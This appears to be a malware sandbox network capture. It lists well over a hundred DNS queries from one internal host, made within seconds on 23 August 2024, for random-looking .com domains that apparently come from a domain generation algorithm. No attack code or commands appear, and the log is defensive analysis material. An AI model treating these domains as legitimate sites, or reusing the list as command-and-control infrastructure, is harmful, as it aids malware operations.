                                                                                                                                                                                                          Aug 23, 2024 18:43:30.501775026 CEST192.168.2.51.1.1.10x8cc2Standard query (0)lyvyjyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.502320051 CEST192.168.2.51.1.1.10x35d5Standard query (0)vojybim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.502787113 CEST192.168.2.51.1.1.10xa875Standard query (0)qetytav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.503233910 CEST192.168.2.51.1.1.10x7cc5Standard query (0)puvyjyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.503711939 CEST192.168.2.51.1.1.10x56caStandard query (0)gahyvuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.504188061 CEST192.168.2.51.1.1.10x139fStandard query (0)lyrytod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.504652023 CEST192.168.2.51.1.1.10xd28cStandard query (0)vocyjet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.505108118 CEST192.168.2.51.1.1.10x3082Standard query (0)qegyvuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.505575895 CEST192.168.2.51.1.1.10x1470Standard query (0)purytov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.506040096 CEST192.168.2.51.1.1.10x3b30Standard query (0)gacyhez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.506454945 CEST192.168.2.51.1.1.10x255aStandard query (0)lygyvuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.506864071 CEST192.168.2.51.1.1.10x5c04Standard query (0)vowyrif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.507309914 CEST192.168.2.51.1.1.10xa4e8Standard query (0)qexyhap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.507713079 CEST192.168.2.51.1.1.10xf105Standard query (0)pufycyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.508133888 CEST192.168.2.51.1.1.10x3cf1Standard query (0)gaqyrib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.508596897 CEST192.168.2.51.1.1.10x496eStandard query (0)lyxygax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.509042978 CEST192.168.2.51.1.1.10x7b9aStandard query (0)vofycyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.509443998 CEST192.168.2.51.1.1.10xa07dStandard query (0)qeqyrug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.509989023 CEST192.168.2.51.1.1.10x6bc7Standard query (0)puzygop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.512787104 CEST192.168.2.51.1.1.10xa693Standard query (0)volygoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.512934923 CEST192.168.2.51.1.1.10xa4a1Standard query (0)gadycew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.513096094 CEST192.168.2.51.1.1.10x9553Standard query (0)qedyxel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.513221025 CEST192.168.2.51.1.1.10xa1bcStandard query (0)lymywun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.513370037 CEST192.168.2.51.1.1.10xb6ebStandard query (0)pumywug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.513494968 CEST192.168.2.51.1.1.10xe837Standard query (0)galyfis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.513694048 CEST192.168.2.51.1.1.10x469eStandard query (0)lysyxar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.513875008 CEST192.168.2.51.1.1.10xef60Standard query (0)vonyqym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.513999939 CEST192.168.2.51.1.1.10x71e6Standard query (0)qekyfiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.514123917 CEST192.168.2.51.1.1.10x2d62Standard query (0)pupyxal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.514297962 CEST192.168.2.51.1.1.10x43f4Standard query (0)ganyqyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.514503956 CEST192.168.2.51.1.1.10x583eStandard query (0)vopyzot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.514801979 CEST192.168.2.51.1.1.10x808Standard query (0)qebyqeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.514955044 CEST192.168.2.51.1.1.10x21e4Standard query (0)pujyduv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.515146017 CEST192.168.2.51.1.1.10x6636Standard query (0)gatyzoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.515320063 CEST192.168.2.51.1.1.10x9764Standard query (0)lyvymej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.515552044 CEST192.168.2.51.1.1.10x1209Standard query (0)vojyduf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.515763998 CEST192.168.2.51.1.1.10x2cefStandard query (0)qetylip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.515902996 CEST192.168.2.51.1.1.10xbc19Standard query (0)puvymaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.516071081 CEST192.168.2.51.1.1.10x828fStandard query (0)gahydyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.516210079 CEST192.168.2.51.1.1.10xab48Standard query (0)lyrylix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.516381025 CEST192.168.2.51.1.1.10x7879Standard query (0)vocymak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.516549110 CEST192.168.2.51.1.1.10x9309Standard query (0)qegysyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.516752005 CEST192.168.2.51.1.1.10xbdadStandard query (0)purylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.516990900 CEST192.168.2.51.1.1.10xf1ffStandard query (0)gacynow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.517180920 CEST192.168.2.51.1.1.10x5171Standard query (0)vowykuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.517338037 CEST192.168.2.51.1.1.10xb6b7Standard query (0)lygysen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.517498970 CEST192.168.2.51.1.1.10xee4bStandard query (0)qexynol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.517882109 CEST192.168.2.51.1.1.10x760aStandard query (0)pufypeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.518014908 CEST192.168.2.51.1.1.10xefe6Standard query (0)gaqykus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.518532038 CEST192.168.2.51.1.1.10xf17bStandard query (0)lykyfud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.711484909 CEST192.168.2.51.1.1.10xfa45Standard query (0)lygyvuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.679991961 CEST192.168.2.51.1.1.10xd83cStandard query (0)lyxynir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.680751085 CEST192.168.2.51.1.1.10x3531Standard query (0)vofypam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.681339025 CEST192.168.2.51.1.1.10xfa0Standard query (0)qeqykyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.682058096 CEST192.168.2.51.1.1.10xe799Standard query (0)puzybil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.682503939 CEST192.168.2.51.1.1.10xd3f8Standard query (0)gadypah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.682938099 CEST192.168.2.51.1.1.10xf43bStandard query (0)lymyjyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.682993889 CEST192.168.2.51.1.1.10xeac7Standard query (0)volybut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.683610916 CEST192.168.2.51.1.1.10xc93fStandard query (0)qedytoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.683705091 CEST192.168.2.51.1.1.10x9acaStandard query (0)pumyjev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.684309006 CEST192.168.2.51.1.1.10x844bStandard query (0)lysytoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.684461117 CEST192.168.2.51.1.1.10x6b3dStandard query (0)galyvuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.684902906 CEST192.168.2.51.1.1.10xe654Standard query (0)vonyjef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.685527086 CEST192.168.2.51.1.1.10x9552Standard query (0)qekyvup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.685627937 CEST192.168.2.51.1.1.10xd0a9Standard query (0)ganyhab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.686170101 CEST192.168.2.51.1.1.10x7e85Standard query (0)lykyvyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.686283112 CEST192.168.2.51.1.1.10x80f6Standard query (0)vopyrik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.686814070 CEST192.168.2.51.1.1.10x21a8Standard query (0)pujycyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.686836004 CEST192.168.2.51.1.1.10xe444Standard query (0)qebyhag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.687550068 CEST192.168.2.51.1.1.10x5254Standard query (0)lyvygon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.687911034 CEST192.168.2.51.1.1.10x67f3Standard query (0)vojycec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.688050985 CEST192.168.2.51.1.1.10x38f6Standard query (0)puvygog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.688137054 CEST192.168.2.51.1.1.10xcb0eStandard query (0)qetyrul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.688617945 CEST192.168.2.51.1.1.10x856dStandard query (0)gahyces.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.688617945 CEST192.168.2.51.1.1.10xc117Standard query (0)gatyruw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.689603090 CEST192.168.2.51.1.1.10xccd7Standard query (0)lyrywur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.690041065 CEST192.168.2.51.1.1.10x1dffStandard query (0)vocygim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.690345049 CEST192.168.2.51.1.1.10xc713Standard query (0)qegyxav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.690520048 CEST192.168.2.51.1.1.10xf783Standard query (0)purywyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.690836906 CEST192.168.2.51.1.1.10x88a1Standard query (0)gacyfih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.691298962 CEST192.168.2.51.1.1.10xcd0fStandard query (0)lygyxad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.691337109 CEST192.168.2.51.1.1.10xc2f3Standard query (0)vowyqyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.692030907 CEST192.168.2.51.1.1.10xa04Standard query (0)qexyfuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.692415953 CEST192.168.2.51.1.1.10xc2dfStandard query (0)pufyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.692589998 CEST192.168.2.51.1.1.10x344fStandard query (0)gaqyqez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.694312096 CEST192.168.2.51.1.1.10x87dStandard query (0)vofyzof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.695337057 CEST192.168.2.51.1.1.10xb1e1Standard query (0)pupytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.695367098 CEST192.168.2.51.1.1.10x3f6eStandard query (0)qeqyqep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.695540905 CEST192.168.2.51.1.1.10xcb48Standard query (0)puzyduq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.695682049 CEST192.168.2.51.1.1.10x82beStandard query (0)gadyzib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.695817947 CEST192.168.2.51.1.1.10x7248Standard query (0)lymymax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.696069956 CEST192.168.2.51.1.1.10x7b37Standard query (0)volydyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.696324110 CEST192.168.2.51.1.1.10x6f52Standard query (0)lyxyfuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.696417093 CEST192.168.2.51.1.1.10xbb8eStandard query (0)qedylig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.696490049 CEST192.168.2.51.1.1.10xc486Standard query (0)pumymap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.696755886 CEST192.168.2.51.1.1.10x23caStandard query (0)lysylun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.696877003 CEST192.168.2.51.1.1.10x2d82Standard query (0)galydyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.697077036 CEST192.168.2.51.1.1.10xc532Standard query (0)vonymoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.697370052 CEST192.168.2.51.1.1.10x8928Standard query (0)pupylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.697479010 CEST192.168.2.51.1.1.10xf176Standard query (0)ganynos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.697679043 CEST192.168.2.51.1.1.10x48f3Standard query (0)vopykum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.697767973 CEST192.168.2.51.1.1.10x86dcStandard query (0)lykyser.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.698301077 CEST192.168.2.51.1.1.10x9df9Standard query (0)qebyniv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.698410988 CEST192.168.2.51.1.1.10xb744Standard query (0)pujypal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.698630095 CEST192.168.2.51.1.1.10x52f1Standard query (0)gatykyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.698630095 CEST192.168.2.51.1.1.10xb863Standard query (0)lyvynid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.699058056 CEST192.168.2.51.1.1.10xde5eStandard query (0)vojypat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.699450970 CEST192.168.2.51.1.1.10xb523Standard query (0)puvybuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.699603081 CEST192.168.2.51.1.1.10xc895Standard query (0)qetykyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.699703932 CEST192.168.2.51.1.1.10xaaaaStandard query (0)gahypoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.699858904 CEST192.168.2.51.1.1.10xc25aStandard query (0)lyryjej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.700340033 CEST192.168.2.51.1.1.10x40ecStandard query (0)vocybuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.700459003 CEST192.168.2.51.1.1.10x8ee5Standard query (0)qegytop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.700601101 CEST192.168.2.51.1.1.10xc3aaStandard query (0)puryjeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.700740099 CEST192.168.2.51.1.1.10x2e06Standard query (0)qekysel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.737185001 CEST192.168.2.51.1.1.10x3824Standard query (0)gacyvub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.737660885 CEST192.168.2.51.1.1.10x9735Standard query (0)lygytix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.738310099 CEST192.168.2.51.1.1.10x7d85Standard query (0)vowyjak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.738792896 CEST192.168.2.51.1.1.10x2710Standard query (0)qexyvyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.739624977 CEST192.168.2.51.1.1.10x1791Standard query (0)pufytip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.739706039 CEST192.168.2.51.1.1.10xa486Standard query (0)gaqyhaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.740171909 CEST192.168.2.51.1.1.10xe17aStandard query (0)lyxyvyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.740550995 CEST192.168.2.51.1.1.10x356fStandard query (0)vofyruc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.740788937 CEST192.168.2.51.1.1.10x2be9Standard query (0)qeqyhol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.741283894 CEST192.168.2.51.1.1.10x43a0Standard query (0)gadyrus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.741383076 CEST192.168.2.51.1.1.10x1a74Standard query (0)lymygor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.741780996 CEST192.168.2.51.1.1.10x674fStandard query (0)qedyruv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.741795063 CEST192.168.2.51.1.1.10xd2c2Standard query (0)volycem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.742338896 CEST192.168.2.51.1.1.10xdef1Standard query (0)galycah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.742463112 CEST192.168.2.51.1.1.10x688fStandard query (0)pumygil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.742809057 CEST192.168.2.51.1.1.10x4851Standard query (0)lysywyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.743287086 CEST192.168.2.51.1.1.10xedcdStandard query (0)vonygit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.743443012 CEST192.168.2.51.1.1.10x248eStandard query (0)qekyxaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.743890047 CEST192.168.2.51.1.1.10xf753Standard query (0)pupywyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.744118929 CEST192.168.2.51.1.1.10x7bf4Standard query (0)ganyfuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.744333982 CEST192.168.2.51.1.1.10xbc80Standard query (0)lykyxoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.744853973 CEST192.168.2.51.1.1.10xfbacStandard query (0)qebyfup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.744986057 CEST192.168.2.51.1.1.10xfbeeStandard query (0)vopyqef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.745281935 CEST192.168.2.51.1.1.10x7e07Standard query (0)pujyxoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.745364904 CEST192.168.2.51.1.1.10x6311Standard query (0)gatyqeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.745768070 CEST192.168.2.51.1.1.10x74feStandard query (0)lyvyfux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.745929003 CEST192.168.2.51.1.1.10xd226Standard query (0)vojyzik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.746356010 CEST192.168.2.51.1.1.10xd09eStandard query (0)qetyqag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.746689081 CEST192.168.2.51.1.1.10xa35eStandard query (0)puvydyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.747015953 CEST192.168.2.51.1.1.10x4f18Standard query (0)gahyziw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.747072935 CEST192.168.2.51.1.1.10x2045Standard query (0)lyryman.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.747711897 CEST192.168.2.51.1.1.10xb7d8Standard query (0)vocydyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.747754097 CEST192.168.2.51.1.1.10x65d7Standard query (0)qegylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.748317003 CEST192.168.2.51.1.1.10xa22Standard query (0)purymog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.748437881 CEST192.168.2.51.1.1.10x8721Standard query (0)gacydes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.748948097 CEST192.168.2.51.1.1.10x343dStandard query (0)lygylur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.749381065 CEST192.168.2.51.1.1.10x1ebfStandard query (0)qexysev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.749428988 CEST192.168.2.51.1.1.10x28fcStandard query (0)pufylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.750080109 CEST192.168.2.51.1.1.10x540bStandard query (0)gaqynih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.752306938 CEST192.168.2.51.1.1.10xc243Standard query (0)puzyceg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.752332926 CEST192.168.2.51.1.1.10x2960Standard query (0)qeqyniq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.752474070 CEST192.168.2.51.1.1.10xbff7Standard query (0)vowymom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.752587080 CEST192.168.2.51.1.1.10x707aStandard query (0)lyxysad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.752692938 CEST192.168.2.51.1.1.10xb4ebStandard query (0)vofykyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.752824068 CEST192.168.2.51.1.1.10xd8beStandard query (0)puzypav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.752971888 CEST192.168.2.51.1.1.10x29eStandard query (0)volypof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753060102 CEST192.168.2.51.1.1.10xe8caStandard query (0)lymynuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753226042 CEST192.168.2.51.1.1.10xb74aStandard query (0)qedykep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753349066 CEST192.168.2.51.1.1.10x7197Standard query (0)pumybuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753489017 CEST192.168.2.51.1.1.10x3abStandard query (0)galypob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753622055 CEST192.168.2.51.1.1.10x4a6Standard query (0)vonybuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753699064 CEST192.168.2.51.1.1.10x768fStandard query (0)lysyjex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753859997 CEST192.168.2.51.1.1.10x10dcStandard query (0)pupyjap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.753870964 CEST192.168.2.51.1.1.10xe724Standard query (0)qekytig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.754095078 CEST192.168.2.51.1.1.10x96d8Standard query (0)lykytin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.754154921 CEST192.168.2.51.1.1.10x34a3Standard query (0)ganyvyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.754288912 CEST192.168.2.51.1.1.10xe86fStandard query (0)vopyjac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.754451036 CEST192.168.2.51.1.1.10x35c8Standard query (0)pujytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.754467010 CEST192.168.2.51.1.1.10x132bStandard query (0)qebyvyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.754676104 CEST192.168.2.51.1.1.10x29d5Standard query (0)gatyhos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.754829884 CEST192.168.2.51.1.1.10xe99dStandard query (0)lyvyver.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.755072117 CEST192.168.2.51.1.1.10xd17aStandard query (0)vojyrum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.755230904 CEST192.168.2.51.1.1.10x46c2Standard query (0)gadykyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.755290985 CEST192.168.2.51.1.1.10x6253Standard query (0)qetyhov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.934847116 CEST192.168.2.51.1.1.10x388bStandard query (0)puvycel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.935561895 CEST192.168.2.51.1.1.10xa962Standard query (0)gahyruh.comA (IP address)IN (0x0001)false
